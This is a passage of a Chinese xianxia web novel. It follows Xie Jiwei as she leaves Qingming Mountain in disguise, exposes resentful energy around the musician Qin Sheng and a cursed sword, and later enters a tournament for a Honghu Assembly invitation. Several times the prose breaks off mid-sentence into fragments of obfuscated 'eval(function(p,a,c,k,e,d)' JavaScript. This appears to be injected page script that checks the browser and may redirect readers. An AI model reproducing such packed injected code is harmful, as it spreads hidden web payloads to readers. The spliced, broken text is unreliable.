见他还是不安地缩在暗格里,她一振长剑,收剑回鞘:“我是池诸山谢济微,你应该听说过我。这下放心了吧?” * 掌门回过神,想起当年的谢济微可谓意气风发、锋芒毕露,但是没人觉得她太出格,毕竟她是千年来独一份的天赋异禀,二十岁便已结婴,修仙界无人不知、无人不晓。 那么多年来,她的性格似乎也逐渐沉着下来,但是掌门觉得,那种源自骨髓里的自信和坚定,却始终没有一点改变,反而随着时间的打磨,变得愈发光彩夺目。 掌门道:“鸿鹄会给我送了几张请帖,我准备让长老带几个弟子赴会,盈之也去。仙君可要同去?” 谢济微道:“不必。金丹期修士在仙盟中都留有记录,我突然出现,必然令人起疑。” 掌门点头,明白她在赴会之前可以至少恢复到金丹修为,又问:“仙君打算如何拿到请帖?我也好帮上一二。” 谢济微沉吟片刻,道:“鸿鹄会也放出请帖供散修赴会,我便寻机拿到,以散修身份进去。倘若无法拿到,” 她忽而笑了一下,道:“想来混进去,也不是什么难事。” 这话如果让其他人听到了,恐怕要大跌眼镜。毕竟破厄仙君向来光风霁月、正气凛然,从未听闻她做不齿之事。 然而掌门和她相识已久,已经习以为常了,竟然赞同道:“不错,仙君想去哪里,又有谁能拦得住?” 他一点都没觉得自己对谢济微的实力有点过分信任了,继续问:“仙君打算何时启程?” 谢济微道:“现在。” 掌门大惊:“那么快?” 他本来还想留她几日,不经意地练剑,然后顺理成章地得到她的指点——当初谢济微只教过他一月有余,他便顺利筑基,因剑谱缺陷止步化神之境;后来又得到谢济微送来的剑谱,在短短几年内就突破化神,进入洞虚。 他的修炼速度尚且万中无一,而由谢济微手把手教大的戮恶仙君傅寒川更是令人望尘莫及,傅寒川只比他大几岁,现在却已经大乘圆满了。 虽然比起谢济微,还是略逊一筹,但也算得上独步天下了。 谢济微道:“如今不知形势如何,我还需先去探查。恐怕寒川已经察觉禁地异动,不日便要赶来查看,到时他若问你,你便说没见过我。” 谢济微知道禁地大阵是傅寒川所设,即使自己再小心,也不免被他感知到。而掌门则是想起了自己之前送到仙盟的信,算算日子,傅寒川确实也该赶到了。 掌门不禁略感遗憾,又想起一些关于傅寒川的传闻,立刻道:“仙君放心,我定然守口如瓶,不会让他有机会对你下手!” 谢济微:“……” 她这下明白薛盈之为何对傅寒川如此不满了,连掌门都相信那些诸如傅寒川记恨她已久,暗地里使坏的谣言,作为他门下弟子,当然会信。 她有些忍俊不禁,想了想,还是道:“当年我出事和他无关,他对我怀恨之心一类的话语,也不可信。” 掌门义正言辞道:“谅他也不敢。不过人心莫测,他这几十年手握仙盟大权,不知道变成怎么样了,仙君还是小心为上。” 谢济微哭笑不得,不过也知道他一番好意,只是点点头,不再解释。 两人又短暂交谈了一会,谢济微便起身告辞了。掌门一路将她送出山门,又送了金银法宝,装进储物囊里,才依依不舍地分别。 谢济微一路西行,途中灵力恢复了一点,便施法易容。改变后的容貌十分平常,被人挑出来看也不觉有异,她满意点头,继续向前。 不久后她出了青溟山边境,来到周边的村镇旁。 放眼望去,只见村镇方圆百里之内,一座大型防御阵法拔地而起,阵上流转的灵力熟悉,正是青溟山掌门所施。 自从百年前邪魔出世,各门派便派出人手,为周边城镇搭建阵法,以防凡人受邪魔侵害。 正是要看守附近阵法,青溟山掌门才不得不派长老前去赴会,否则知道大会有异,而谢济微又要前去,他势必要亲自去才安心。 谢济微忽然抬头,只见头顶烈日炎炎,光芒刺目,却有一道灵力痕迹划过。 其实这点痕迹对于修士来说十分微弱,几乎不可察觉,而谢济微虽然身受重伤,然而神魂仍在大乘期圆满水平,便轻易发现了。 那道灵力如白虹贯日,正像哪位修士急速御剑飞行,往青溟山方向去。 谢济微心中叹了口气,移开目光。 待谢济微离开不久之后,傅寒川果然找上门来。 掌门心道仙君料事如神,一边客气道:“没想到戮恶仙君亲自前来,真是有失远迎。不过我那师弟和弟子已经找到,仙君恐怕是白跑一趟了。” 傅寒川看他一眼,道:“何人带她出禁地大阵?” “她”当然指的是薛盈之,掌门心中腹诽姓傅的总是不合时宜的敏锐,皮笑肉不笑:“我那弟子是阵修,误打误撞,倒是被她破了阵。” 傅寒川眼神冰冷,审视着他的神情,片刻后淡淡道:“说谎。” 掌门心中一凛,正色道:“我不敢欺瞒仙君,仙君何出此言?” 傅寒川道:“是么?” 话音刚落,他手中长剑铮然出鞘一寸,剑身寒光凛冽,大乘期圆满的威压顷刻倾泻出来,几乎将掌门压迫得无法呼吸,甚至连神魂都隐隐生疼。 ——那是“搜魂”的前兆。搜魂可以看见某一个人一生的记忆,然而被搜魂的人修为越高,受到的影响便越大。像他如果被傅寒川强行搜魂,轻则神魂涣散修为倒跌,重则魂飞魄散死无全尸。 掌门下意识按住剑柄,却在拔剑的前一刻硬生生克制住了。 虽然他认为傅寒川纯属运气好,被谢济微捡回去代师收徒,犯了大错也没有被逐出师门,但也不得不承认,稳坐那么多年的仙盟盟首,傅寒川确实有几分实力,即使他们年岁相仿,修为已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下一瞬间,磅礴的灵力从他掌心倾泻而出,在片刻之内迅速覆盖了这片禁地,任何一丝动静都印刻在了他脑海里。 ——然而什么都没有。脑海里一片沉寂,没有回响,就像那道封印在他神魂深处的道侣契,已经百年不会给他回应了。 他慢慢松开手,巨大的灵力损耗甚至让他的手有些微微颤抖,但他只是握住剑柄,一点点握紧,神色如尘封般毫无波澜,一如以往。 * 另外一边,谢济微已经离开青溟山很远了,途中上了一只小船渡江。 她靠坐在船上,微风徐徐,轻轻吹动发梢。 船夫边划船,边唱歌,歌声悠扬质朴,歌词抑扬顿挫,谢济微仔细听,似乎讲得是一个修士的故事。 她略感兴趣,等船夫唱完了,便问道:“船家,这唱的是什么人?” 船夫道:“这是我们这出来的大仙人!你是外地人吧?” 谢济微道:“是。” 船夫了然道:“怪不得没听过。这里几百年前有一个乐坊,里面有一个琴师,据说是宫里出来的。有一天他在湖上弹琴,天上突然飞来了几百只仙鹤,围着他转。不仅如此,那时本来是正午,他弹着弹着,天上忽然出现了一轮月亮!” 谢济微很捧场:“如此异象,想必这个琴师便是仙人吧?” 船夫道:“正是!他弹完之后,就有几个人腾云驾雾,把他带走了。大家都说,他天生仙骨,只是命途坎坷,因此流落在外,待时机成熟,便登上仙途了。” 谢济微道:“确实是一段美谈。” 她看向江面,只见江水浩浩汤汤,远处水天一色,行舟于其上时,不免会生己生浮游、而天地浩渺之感,在此地悟道,倒不算奇怪。 船夫却道:“如果仅仅是这样,倒也不能被人口口相传。” 5. 独见 她话音刚落,只见原本风平浪静的江面忽起波澜,湖水翻卷,顷刻间一个大浪向两人兜头而来! 小船上下起伏剧烈颠簸,船夫扬声道:“坐稳了!” 她勉力调整船身,然而船却控制不住地被打得侧翻。正当船要彻底翻转的时候,忽然岸边传来铮铮琴声,如流水般悦耳动听,竟使得风浪暂息了一瞬。 船夫借机控制住船身,琴声依旧缓缓流淌,仿佛一只看不见的手,强硬地将风浪一点点压下来。 船夫直起腰,扶住船桨,笑道:“这便是我刚刚要说的。仙人修成,竟然重新回到了这里,一直护佑我们。” “一开始我们不知道,遇到意外总能逢凶化吉,还以为是苍天保佑,后来外地人说邪魔出现了,天下大乱,我们还以为是外地人胡说八道,”船夫神色隐隐激动,“直到有一次邪魔闯进来,仙君出现除魔,我们才知道原来那位仙人一直暗中守护这里。” 谢济微看向岸边,琴声已经渐渐停了,然而岸边空无一人。 船夫道:“我们不知仙君名讳,只好叫他抱琴仙君,因为他出现的时候总是拿着一把琴。” 那便是音修了,谢济微心想。 船夫继续道:“虽然我们很少见到仙君,但如果有什么难处,便在这江边处说上一说,仙君往往都能帮我们解决。我本来也不信,前几年我闺女突然不见了,什么法子都试过了,也找不到。我实在没办法,只好在这里试试运气。 “你猜怎么着?我上午才去了江边,晚上闺女就被仙君带回来了!你说神不神?” 谢济微道:“听上去像是河仙。” 船夫道:“那可不!从那以后,我就对仙君心悦诚服了。你要是有什么难事,也可以和仙君讲一讲,虽然你不是本地人,但仙君心地善良,也会帮你。” 谢济微笑道:“多谢。” 小船很快靠岸了,谢济微付过船钱,便下船了。 岸边是一个城镇,镇子不大,却很繁荣。或许由于可以心想事成的抱琴仙君的原因,这里的人面容和善,民风质朴,连带着此间的灵气也很浓郁,此时正如长鲸吸川般,源源不断地向谢济微破损的丹田涌去。 倘若这一幕被修士看见,必然会大为震惊。因为修士虽能引气入体,然而却需平心静气、专心致志,才能将其化为丹田中自己的灵力。 像她这样一呼一吸间,都有大量灵气流转经脉,进入丹田,可谓修为一日千里,千载难逢。 然而谢济微早已习惯,甚至由于经脉受损,这种速度不及她全盛时的十分之一,极其缓慢地修复着她的身体。 她正欲朝镇上客栈走去,忽然听到身后有几个人小跑而过:“快快快,《抱琴记》要开始了,再不快点就赶不上了!” 只见是几个年纪不大的小孩,匆匆从她身边经过,往另一头而去。其中一个小孩忽然回头好奇地看了她一眼,见是生面孔,便不以为意,不料一下没看见,脚下一个踉跄,径直往地上摔去。 谢济微眼疾手快,伸手扶住她,却见有另外一只手也抓住了那个小孩。 她抬头一看,只见是一个身量高挑、身穿戏服、脸抹戏妆的人,一副花旦扮相。 那人对着谢济微微微一笑,又对小孩柔声道:“小心,莫摔着了。” 小孩怯生生地道过谢,又看看那人,问道:“琴生姐姐,戏要开场了,你怎么在这里?” 琴生道:“我看你们迟迟未到,心里担心,便出来找你们。” 小孩很高兴,七嘴八舌地要她赶紧去。琴生向谢济微略一点头,便在小孩们的簇拥中离去了。 谢济微目送他们远去,低头看了看自己的手,转身进到客栈,要了一间房。 掌柜目睹了刚才那一幕,好奇道:“你刚才见到琴生了?感觉怎么样?” 谢济微道:“他虽是花旦扮相,但似乎是男儿身。” 掌柜道:“不错,但他戏唱得确实是好,远近闻名,还有人专门过来听他唱戏,我还以为你也是呢。” 掌柜将客房牌子递给她,又道:“不过他性格很古怪,和别人也不怎么亲近,最多和小孩说说话。这还是我第一次见他对别人笑。” 掌柜看起来很想知道原因,但谢济微只是一笑,道:“竟是如此么?恐怕只是看我眼生吧。”便拿过牌子,上楼去了。 她进房把门关好,随后坐下盘腿打坐,内视丹田。 经过几日的修养,她千疮百孔的内府终于修复一二,灵力沿着经脉缓缓运转过一个周期,如今她已恢复至筑基修为。 这与此地民风淳朴不无关系,人心向善的地方向来灵力充沛,因此修士修炼讲求“修心”,即问心无愧、正气凛然。这里的灵力如此浓郁,里面的人必然生活幸福安定。 看上去此地被“抱琴仙君”保护得很好,就连外面邪魔横行,也未受侵扰。 谢济微睁开眼睛,低头看自己的手,却见一道浅浅的怨气缠绕在她的掌心。 ——这是刚刚扶住那个小孩时,在她手上留下的。 只是那么短时间的接触,便足以在她身上留下痕迹,那小孩的身上怨气只会更多。 怨气由不甘而死的人产生,死者往往蒙受大冤、死状惨烈,亦或执念未消,如果怨气过多,便会受其影响,精神失常。 然而那小孩不过六七岁,眼神清澈,断不会产生如此强的怨气,他身上的怨气能从何而来呢? 谢济微站起来,走到窗前。这座客栈修得很高,她又住在最高层,恰好可以将整座小镇一览无余。 ——只见整座小镇上,赫然被深重的怨气所覆盖,行走的路人怨气缠身,几乎快被淹没了。 这种程度的怨气完全可以将整个镇上的人逼疯,然而来往的人行动自如,仿佛完全没有被影响。 灵力和怨气交织纠缠,这样的奇景被修士知晓,必定要大呼不可能,从未有这样的先例。可惜这里除了谢济微和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她师父封荣仙君是修真界数一数二的阵修,于阵法一道已经登峰造极,一手封印之术更是独步天下,因此段箫体外逸散的灵力很快就被控制住了,体内混乱的灵力也渐渐平息下来。 众人纷纷松了口气,有人道:“接下来只需维持住阵法,待他醒来便无事了。” ——但他身上还有奇怪的东西。 谢济微想要出声,却发现没有人反驳那人。但是在她眼里,段箫身上除了四处乱窜的灵力,还有和灵力纠缠着的血色雾气,无孔不入地钻入他的身体。 一开始她没发现,但是当灵力渐渐消失时,那雾气便格外明显,却似乎只有她能看见。 她想找机会和师父说,旁边的人却对她道:“阿微,你先回去吧。封荣这几天都要守在这里。” 师父双目紧闭,掌心中阵法迅速变换,显然无暇他顾。 然而就在此时,那血色的雾气陡然凝聚成一个人形,那人手中拿着一把长剑,剑上血雾缠绕,仿若鲜血滴落,剑尖正对着段箫的脸! 6. 梦斩 谢济微睁大眼睛,那人形却很快消失了。她还想再看,长老们却已经纷纷往外走去。 她犹豫片刻,此时已经有长老注意到她迟迟不动,向她投来疑惑的目光。她看了一眼段箫,最终还是走了。 那天晚上她练完剑之后,总是想起段箫和那个血色的人形。 那时她筑基不久,还未能用打坐修炼替代睡眠,于是在床上翻来覆去许久,终于沉沉入睡。 她梦见自己重新来到了主殿,一旁的师父仍然在为段箫护法,而段箫静静躺在那里,身上血雾已经消失得无影无踪。 ——然而却有另外一个人坐在段箫身边,一边抓住他的手,一边慢慢俯身,额头与他的额头相贴。 那人黑衣黑发,披散的头发挡住了他的侧脸。 似乎察觉到谢济微的视线,那人直起身,转过头来。 那一瞬间谢济微看清了他的脸,面容清隽,却与昏迷中的段箫几乎长得如出一辙! 谢济微心中悚然,却很快发现了异常。段箫不问世事性格纯粹,而这人眉眼间有一种不怀好意的邪气,和段箫大相径庭。 那人略微诧异地挑眉,很快古怪地一笑。他没有动,却有黑色的雾气从地上席卷而上,向谢济微冲过来! 谢济微下意识想动,却发觉自己的身体仿佛僵住了。正当雾气即将接触到她时,她的手不受控制地抬起,随即一把剑横空出现在了她手中,紧接着她握剑、出剑,顷刻将黑雾逼退。 那人脸色终于变了,他站起来,然而谢济微身形如鬼魅般上前,一剑斩出! 那人身体一分两半,然而伤口处却没有鲜血奔涌而出,只有黑雾缓缓流出。 他若有所思,低头看了看自己的身体,忽而一笑:“……原来如此……” 他深深地看了谢济微一眼,没有再说话,化为一道黑烟,钻进了段箫的体内。 随后那把突然起来的长剑也消失了,谢济微发现终于能够操控自己的身体,轻微一动,猛然惊醒。 室内一片寂静,只有谢济微急促的喘息声和怦怦心跳声。 她心中惊魂未定,只觉头疼欲裂,仿佛刀割般痛苦。如果她已到化神期,便会知道这是魂魄强行离体的后遗症;现在她只是静静躺了片刻,便翻身下床,向主殿狂奔而去。 然而等她赶到时,却被告知段箫已经脱离危险,而封荣仙君有所体悟,闭关去了。 她站在大殿门口,一时间不知如何是好。她所见所知,都提示她此事非同小可,应该立即禀告掌门,然而只有她能看见的血雾和黑雾,却及时阻止了她。 她虽然年纪尚浅,却已经对危险有一种敏锐的直觉。她不知为何,却隐隐觉得一旦被人知道,就会有不详的事即将爆发。 她站立良久,终于一步步走下了大殿。很久之后她终于知道,那一天她走上了一条截然相反的路,一条既定的道路,孤独、黑暗和死亡,从此贯穿了她的前半生。 思绪回转,谢济微重新想起刚才所见的怨气。 后来她才得知,那血色的雾气便是怨气,然而其他修士看不见,只能通过被怨气影响的人来判断怨气的深浅。 她思忖片刻,想起刚才所见的琴生。他身上虽然也有怨气,但却非常之浅,比起其他人可以忽略不计。又想起方才掌柜提到琴生会连演两场戏,让她有空便去看看。 她于是下楼,问了戏台的地方,径直往那边去了。 谢济微来到戏台时,第二场戏刚好开始。 她找到一个位置落座,却听有人小声道:“那把剑呢?还没拿过来?” 另外一个人也小声道:“不见了……不过我找到了另外一把剑,应该也可以用。” 第一个人道:“你真是……算了,赶紧拿过去,不要耽误了。” 她看过去,只见两个人身穿短打,正向戏台后方走去,其中一人手中捧着一把长剑,剑鞘朴实无华。 她视线在那剑上一扫,又落到一旁的告示牌上。 只见那牌上写了“潜龙跃渊”四个大字,下面密密麻麻写了这出戏的介绍。 原来前朝皇帝昏庸无能,任人唯亲、奸佞当道,杀尽忠臣。而其中一位忠臣的女儿先前也被罚入冷宫,得知自己父兄皆被杀害,便暗地筹划,组织人手揭竿起义。这折戏便是改编于此。 台上正演到妃子得知父兄噩耗,悲痛欲绝难以抑制。出演妃子的正是琴生,他演得果真极好,唱腔哀婉,神态悲恸。 坐在谢济微旁边的人忽然低声说:“‘抱琴仙君’还在宫中时,似乎曾为太祖弹奏过。” 另外一个人也压低声音道:“正是。说起来,仙君和太祖也是颇有一段渊源。” 她继续看那介绍,后来前朝末帝被杀,妃子便登基称帝,改朝换代,是为开国皇帝。 台上琴生正唱到前朝皇帝仓皇逃走,而妃子率兵追杀,在一处荒山野岭中找到他。 他一改先前神情,神色杀伐果断,动作用力唱腔铿锵,走到前朝皇帝面前,从身侧抽出尚方剑,横于皇帝颈侧,唱到:“陛下贪淫无度,民不聊生,今日便将你斩于马下!”[1] 唱罢长剑一横,血光飞溅。 台下众人拍手叫好,谢济微却觉得不对。为求逼真,先前台上便用了道具来模拟妃子父兄被杀时的惨状,然而这一次却和之前不太像,有点……有点过于真实了。 只见皇帝颓然倒地,身体在地上磕出一声重响。 这显然不是戏中应该出现的桥段,众人渐渐察觉不对,一时安静了下来。 谢济微闪身上到台上,只见演皇帝的那人身体抽搐,捂住自己的脖颈,大量的鲜血从他指缝中漏出来,浸湿了厚重的戏服。 谢济微心中一紧,却见一步之遥的琴生怔怔望着那人,手中长剑鲜血淋漓。似乎被谢济微惊醒,他竟然重新抬起了手,血红色的雾气从剑身疯狂地涌出来,包裹住琴生,随后那把剑径直向谢济微刺来! 那一瞬间,琴生身上的怨气甚至比整个镇子里加起来的怨气还要浓。 谢济微矮身避过,捡起角落里的一根木棍横在身前一挡。 那把剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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琴生仿若未觉,继续道:“你既知封荣仙君,那么应该也知她的弟子。那人便是她的大徒弟,破厄仙君。” 这人竟是段箫。 谢济微和他只有数面之缘,自从那日入梦之后,段箫醒来,自请下山历练心性,她便没有再见过他,没想到再度重逢之时,段箫已然与从前截然不同。 琴生俯身捡起掉在地上的长剑,将它身上的血迹擦干捧在身前,一手握住剑柄,一手抵住剑尾,神色温柔:“别担心,我不会再失控了。” 那柄剑上的血雾已经消失得无影无踪,此刻沉寂无比,和其他的剑似乎没有什么不同。 然而剑上却有隐隐透出一种妖邪之气,那是经年累月,被无数亡魂浸染才会形成的妖剑。 谢济微心中已有猜测,道:“这把剑不是唱戏惯用的剑,上台前曾被换过。” “不错,”琴生道,“这是真的尚方剑,剑下亡魂无数。其中有两人最为人称道,一个是太祖的父亲,一个是前朝皇帝。” 7. 戏中人 前朝皇帝奢靡无度,即使国库已经快空虚了,宫内设施供应却没有降低任何标准。加之皇帝残酷暴戾、杀人如麻,没人敢在他面前提一句不对。 而琴师弹得一手好琴,深得皇帝欢心,因此皇帝对他相对温和。而琴师向来不问世事,一心钻研乐道,竟然不知前朝气数已尽、大厦将倾。 他也不知时时听他弹琴、偶尔与他合奏的女子,父兄为皇帝所忌惮,自己也备受冷落。 受皇帝青睐、兼有知音相伴,这样美好和纯粹的日子,他过了许久。 后来一张圣旨将他送出宫,临行前女子与他告别,告诉他就此永别,不要再回来了。 当时他还不知道这句话背后的血腥意味,只是走了许久之后回头看,只见女子单薄的身影还立在原地,渐渐隐入高耸巍峨的深宫高墙之中。 出宫之后,他一路南下,路上非常顺遂,最终在一处乐坊落脚。 此时宫中已然发生兵变,只是消息阻塞路途遥远,他所到的地方表面上还是一片安宁,唯有暗流涌动。 那一天他应乐坊之邀,在江畔独奏。 见到浩荡江水、人群和睦,一幅国泰民安之象,他不禁心生触动,天地灵气于那一刹那贯通他体内,他也由此悟道,引来恰好经过此地的池诸山长老,将他带走。 也是那一天,江山易主、改朝换代,而他引起的异象被视为祥瑞,为新皇登基扫清了许多障碍。 但是发生的这一切他已经无法知道了。他拜入池诸山,潜心修炼,直到结丹,才得以下山重回故地。 然而故地重游,等待他的却是战乱、烽烟和破碎的山河。百姓颠沛流离,告诉他旧皇暴政被推翻,各地自立为王以夺天子之位。 他不愿相信这一切都是曾经的故人所为,匆匆找到那人,却见到了那个无数次午夜梦回中让他惊醒的身影。 ——那人手持长剑,一身红衣,手起剑落,将皇帝一剑斩首。 她转过身,脸上血迹未干,妖异非常,看到他,却没有意外之色,只是勾出一个笑容:“琴师,好久不见。” 那个笑容冰冷嗜血,与他记忆中恬淡宁静的那人大相径庭,简直判若两人。 他一时说不出话,只觉得天翻地覆,如坠冰窟。 那人走到他身边,用熟悉的语调将残酷的往事娓娓道来。原来他所以为的君臣和谐、治下有方不过是因为他潜心于琴,一叶蔽目,实际上宫里早已血流成河、尸横遍野。 而他能在朝廷倾轧下安然无恙,不仅是因为皇帝的青眼有加,还有她在暗中相护。 “否则你如何能平安出京?你在陛下身边的陪侍多年,恐怕还没出京,便被各方人马暗杀,此时坟头草已经三丈高,更谈何修仙问道。”她淡淡道,看见他茫然的神色,似乎觉得很有意思,又道:“不过送你出去,确实帮了我大忙。陛下虽愚蠢,却能看出你不似凡人,因此对你有所不同;而我猜你命格奇特,日后定有一番机遇,于是出手帮你。” “没想到那么快,你的回报就来了。”她道:“若非你在江中悟道,我还要想办法说服那群顽固的人。” ——原来他记忆中的一切、他得以入道的道心、他曾经引为知己的人,都不过是一场镜花水月。 他如遭雷击,只觉大脑嗡嗡作响,甚至控制不住自己的行径。即将丧失理智之时,他仓皇而逃,在最后一刻回到了池诸山。 “后来长老告诉我,这是走火入魔了,”琴生道:“那时我昏迷了许久,在梦中隐约察觉到有什么东西想要控制我的身体。我挣扎了许久,快要失败的时候,却看见有人对我出了一剑。” 他便得以清醒,一开始他以为这是心魔想要操控他,直到邪魔出世,他才渐渐明白过来,在他心神大乱时,魔已经悄然寄生进了他体内,在他彻底失控之时,便借机取而代之。 又过去了很久,他才回想起梦中那人的脸,竟然是破厄仙君。然而那时她已经身陨了,也无从找她印证。 “或许从那时起,破厄已经知道了邪魔的存在,最终选择了独自赴死。然而究竟如何,现在已经不重要了。”琴生道。 清醒之后,他道心不稳,自请下山磨练。在世间游荡许久,他终于明白,入道的“道”不复存在,那么他便再创一个“道”,由自己来缔造。 于是他便留在故土,长久守护着,终于将这里变成了他记忆中的模样。 “只是我始终不明白,她究竟是什么样的人?在她的琴声里,我听不出来杀机,但是她的所作所为,却是对前朝积怨已久了。那么多年的时光里,哪一面是真的?……那一面又是假的?”琴生茫然道。 谢济微道:“不管如何,她对你未尝没有真心。” 琴生笑道:“所以后来我便不再想了,只是继续我的‘道’,也好守护她的江山。只是我始终无法释怀,只能在戏中探究一二。” 他将手中长剑回鞘,道:“或许由于这把剑的缘故,我刚才竟然能够感受到她当时的情绪,隔了几百年了,还是那么的清晰深刻。” 他手中灵力流动,包裹住了长剑,微微遗憾道:“我已经明白了她的感受,这把邪剑,也不必存在了。” 谢济微道:“且慢。” 琴生一顿,听谢济微道:“这镇上的怨气,是否由这把剑所致?” 琴生略微诧异,道:“原来还有怨气么?这把剑杀过那么多人,也不出奇。不过即使有,也不会影响到这里的人。他们生活安定,怨气找不到入口下手。” 他想了想,回过味来,道:“你怎么知道这里有怨气?此地从未有人被怨气影响。” 谢济微道:“我体质特殊,生来便能感知到怨气。” 琴生道:“原来如此。” 谢济微道:“我正缺一把趁手的兵器,这把剑可否赠予我?” 琴生道:“当然可以。也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她刚在修真界扬名之时,这把剑曾经轰动四方,几乎无人不知。后来她修为渐深,很少亲自出手,偶有几次,都由傅寒川代劳了,因此修真界后辈几乎不知道这剑长什么样,更不知道破厄仙君手中剑竟是一把妖剑。 然而她此番前去鸿鹄会,必然会见到不少故人,用她本来的剑便会轻易被人认出,而这把剑用起来顺手,也不会太引人注目。 谢济微在剑上施了一个阵法,将其收回。很快镇上的怨气没了源头,也逐渐消失了。 怨气已解决,也拿到了合适的剑。谢济微思忖片刻,便决定继续出发,不再停留。 琴生站在江畔,唇边横一玉箫,吹奏着不知名的曲调。虽然箫声呜咽萧瑟,比起他之前,却多了几分释然,似是心中郁结已解,又似乎是摆脱了怨气的纠缠。 一曲毕,他将玉箫放下,忽而微微笑道:“许久不见了,傅师弟。大驾光临,有失远迎。” 一人在他背后现出身形,面色含霜,正是傅寒川。 8. 曲中意 很少有人这样称呼傅寒川,尤其在他继任仙盟盟主之后。 然而琴生游离于仙盟之外,不问世事,加之性格淡然落拓,对他不像其他人那么谨慎。 傅寒川略一点头,也道:“段师兄。” 他单刀直入:“方才我察觉到有人施展‘枯木逢春’之术,可有异常?” 琴生道:“是我。小事,不足挂齿。” 傅寒川微微蹙眉,却见琴生问道:“你们何时得知邪魔的存在?” 傅寒川道:“大约两百年前。” 琴生若有所思,又问道:“在此之前,谢师妹有没有发现过邪魔的踪迹?” 傅寒川道:“没有。” 琴生沉默片刻,终于道:“你有没有想过,或许远在这之前,她就已经预知到未来。否则她又为何要独自赴死?” 傅寒川没有说话。许久之后,正当琴生以为他不会回答时,却听他轻轻道:“我知道。……她也只有这一件事瞒着我。” 后半句话隐没在寂静的深夜中,听不真切。两人都不再说话,良久琴生重新拿起玉箫,箫声悠扬婉转,在徐徐晚风中盘旋着奔向天际。 * “比武大会即将开始!最终胜出者可得到‘鸿鹄会’的请帖,与少城主一同前往参会,走过路过的修士千万不要错过,路过这村就没有这店啦!” 武王城内熙熙攘攘,百姓摩肩接踵,时而好奇地望向这边吆喝的人。 那人一身城主府侍卫打扮,正伏案写着什么:“……一位元婴剑修,另一位……也是元婴剑修,好嘞!这牌子您二位拿好,里边请!” 那两名剑修接过牌子,往侍卫身后的擂台走去。其中矮一点的剑修压低声音道:“这武王城城主不知什么来路,虽不是修士,却能弄来‘鸿鹄会’的请帖。” 另外一个剑修道:“武王城也算一个大城了,城主家财万贯,少城主天资绝佳,虽为金丹,对上元婴也有一战之力,能拿到请帖也不奇怪。” 矮个剑修道:“说起来,办会的华岐夫人也不是修士吧?这么一想,确实情有可原。” 高个剑修道:“哦?为何?” 矮个剑修道:“他们这些凡人嘛,修不了仙,好不容易拿到机会,就想踩在修士头上,让我们耍猴给他们看。不然前几次修真大会都没有限制名额,为何这次就限制了?还搞什么比武大会!” 高个剑修道:“我看未必,或许典籍珍贵,有什么玄机呢?开比武大会,也是想选出实力强劲的散修,以及未得机会的宗门弟子。你不必这样想。” 矮个剑修冷笑道:“好,就算限制人数有理由,那比武大会呢?说是送请帖,实际上是城主怕自己早早死了,女儿没人管,专门找个上门女婿吧?” 话音刚落,只听“咻”一声利刃破空声,一道寒光擦着矮个剑修的面颊而过。 他回头一看,只见一支铁箭钉在他身后的墙壁上,箭尾因为力道过大还在微微颤抖;他一抹脸,只见手上一片血红。 他心中暗惊,抬头看到不远处一名女子拉弓作搭箭状,冷冷地看着他,指尖灵光闪烁,一支灵箭逐渐在她弓弦上成形。 那女子不过金丹期修为,却能用普通铁箭伤到他,虽说她出其不备,但也足够他又惊又怒,立刻将手放到剑柄。 一旁的高个剑修连忙按住他,朗声道:“少城主,无意冒犯,还请见谅。”一边暗中掐了掐矮个剑修,传音道:“那是少城主,赶紧道歉,还想不想要请帖了?” 矮个剑修脸上青一阵白一阵,说不出话来,高个剑修只好连连再向少城主道歉。 少城主脸色还是愠怒,身后的人在她身后劝了句,片刻后她放下弓箭,头也不回地走了。 矮个剑修和高个剑修面面相觑,道:“怎么了?我不过是说了句实话,这么生气?” 高个剑修:“……你没救了。” 少城主一路走到擂台边上的看台上,站在城主身边。 城主已经听闻刚刚发生的事,不禁叹了口气。诚然他也抱有比武招亲的想法,盖因少城主性格嫉恶如仇,直爽率真,这样并非不好,只是有时候容易冲动,轻易便得罪人,需要有人及时劝阻她。 而他虽然正值壮年,可以护得她一时,然而毕竟不是修士,百年之后便将化为尘土,届时少城主在修真界虽也算薄有名声,但比起大能,还是差之甚远,又有谁能保护她? 他无法参加鸿鹄会,现在开设比武大会,便是希望能找到一个人和她同去,同时也寄希望于那人以后能够关照她一二。 然而刚才那剑修说话确实难听,城主只能委婉地劝道:“做人还是要留一线为好。” 少城主道:“我知道。别担心,爹,他打不过我。” 城主:“……”他无奈,只好先让她坐下。 台下很快结束几场比试,参加者虽然都自恃有几分实力,但打起来还是仅限于灵力对轰,胜出者往往都是修为略高的一方。 少城主看得百无聊赖,城主因为少城主的缘故,也能看出几分门道,不禁心中焦急。 台上两人结束比试,侍卫喊道:“下一场——散修张酩,对易如书院谢微!” 两人站上擂台,一人两手空空,身无武器,另外一人背负长剑,正是谢济微。 那日离开城镇之后,谢济微一路来到武王城,听说比武大会最终胜出者能得到鸿鹄会的请帖,便参加了。 她依然是用先前随口胡诌的身份,唯一知道这个身份的薛盈之有宗门请帖,因此她也不担心被戳穿。 两人行礼之后,张酩看她没有拔剑,略一迟疑,随即两指一并,在空中凭空画符,指间似有寒气四溢。 寥寥几笔,符便在空中成形,顷刻在他脚下结出一层薄薄的冰,迅速蔓延到整个擂台。 紧接着他再次画符,这回火光燃起,台上的冰迅速融化,升腾的雾气掩盖住了两人的身影。 